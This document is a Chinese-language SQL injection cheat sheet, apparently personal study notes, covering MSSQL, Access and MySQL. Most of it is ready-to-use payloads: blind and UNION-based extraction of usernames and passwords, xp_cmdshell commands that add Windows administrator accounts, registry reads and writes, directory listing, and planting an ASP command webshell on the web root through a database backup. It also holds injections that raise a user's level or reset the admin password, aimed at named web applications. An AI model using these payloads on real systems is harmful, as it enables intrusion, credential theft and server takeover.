注入一路小跑 自己学习用的

1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0

3.注入参数是字符'and [查询条件] and ''='

4.搜索时没过滤参数的'and [查询条件] and '%25'='

5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--

;exec master.dbo.sp_password null,username,password;--

;exec master.dbo.sp_addsrvrolemember sysadmin username;--

;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

;exec master.dbo.xp_cmdshell 'net user username password /add';--

;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍历目录

;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
;exec xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值

xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表

xp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值

xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<% Dim oScript %>');
backup database model to disk='c:\l.asp';

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

16.简洁的webshell

use model

create table cmd(str image);

insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c
"&amp;request("c")).stdout.readall%>');

backup database model to disk='g:\wwwtest\l.asp';

' and LEFT(password,1)='m

' and LEFT(password,2)='my

…………………………依次类推

' union select 1,username,password from user/*

' union select 1,username,password from user/*

99999' union select 1,username,password from user/*

' into outfile 'c:/file.txt (导出文件)

=' or 1=1 into outfile 'c:/file.txt

1' union select 1,username,password from user into outfile 'c:/user.txt

select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/file.txt'

id=' union select 1,username,password from user into outfile

id=-1 union select 1,database(),version() (灵活应用查询)

常用查询测试语句,

select * FROM table where 1=1

select * FROM table where 'uuu'='uuu'

select * FROM table where 1<>2

select * FROM table where 3>2

select * FROM table where 2<3

select * FROM table where 1

select * FROM table where 1+1

select * FROM table where 1--1

select * FROM table where ISNULL(NULL)

select * FROM table where ISNULL(COT(0))

select * FROM table where 1 IS NOT NULL

select * FROM table where NULL IS NULL

select * FROM table where 2 BETWEEN 1 AND 3

select * FROM table where 'b' BETWEEN 'a' AND 'c'

select * FROM table where 2 IN (0,1,2)

select * FROM table where CASE WHEN 1>0 THEN 1 END

例如:夜猫下载系统1.0版本

id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1

union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码)

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码)

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位)

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51

例如2:灰色轨迹 变换id进行测试(meteor)

union%20(select%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate

union%20(select%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate

构造语句:

select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)

select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)

union%20(select%201,0,2,'1999-01-01','a',password%20FROM%20user%20where%20userid%20=%205)%20order%20by%20eventdate

union%20(select%201,0,12695,'1999-01-01','a',password%20FROM%20user%20where%20userid=13465)%20order%20by%20eventdate

union%20(select%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20where%20username='sandflee')%20order%20by%20eventdate (查沙子的id)

(select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10)

select * FROM article where articleid='$id' union select * FROM……(字段和数据库相同情况下,可直接提交)

select * FROM article where articleid='$id' union select 1,1,1,1,1,1,1 FROM……(不同的情况下)

特殊技巧:在表单,搜索引擎等地方写:

"___"

".__ "

"%

%' ORDER BY articleid/*

%' ORDER BY articleid#

__' ORDER BY articleid/*

__' ORDER BY articleid#

$command = "dir c:\";system($command);

select * FROM article where articleid='$id'

select * FROM article where articleid=$id

1' and 1=2 union select * from user where userid=1/* 句中变为

(select * FROM article where articleid='1' and 1=2 union select * from user where userid=1/*')

1 and 1=2 union select * from user where userid=1

语句形式:建立一个库,插入:

create DATABASE `injection`

create TABLE `user` (

`userid` int(11) NOT NULL auto_increment,

`username` varchar(20) NOT NULL default '',

`password` varchar(20) NOT NULL default '',

PRIMARY KEY (`userid`)

) ;

insert INTO `user` VALUES (1, 'swap', 'mypass');

插如一个注册用户:

insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');

"insert INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";

insert INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')

"insert INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";

insert INTO membres SET login='',password='',nom='',userlevel='3',email=''

"insert INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";

update user SET password='$password', homepage='$homepage' where id='$id'

update user SET password='MD5(mypass)' where username='admin'#)', homepage='$homepage' where id='$id'

"update membres SET password='$pass',nom='$nom',email='$email' where id='$id'";

update membres SET password='[PASS]',nom='',userlevel='3',email=' ' where id='[ID]'

"update news SET Votes=Votes+1, score=score+$note where idnews='$id'";

长用函数:

DATABASE()

USER()

SYSTEM_USER()

SESSION_USER()

CURRENT_USER()

比如:

update article SET title=$title where articleid=1 对应函数

update article SET title=DATABASE() where id=1

#把当前数据库名更新到title字段

update article SET title=USER() where id=1

#把当前 MySQL 用户名更新到title字段

update article SET title=SYSTEM_USER() where id=1

#把当前 MySQL 用户名更新到title字段

update article SET title=SESSION_USER() where id=1

#把当前 MySQL 用户名更新到title字段

update article SET title=CURRENT_USER() where id=1

#把当前会话被验证匹配的用户名更新到title字段

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

$req = "select * FROM membres where name like '%$search%' ORDER BY name";
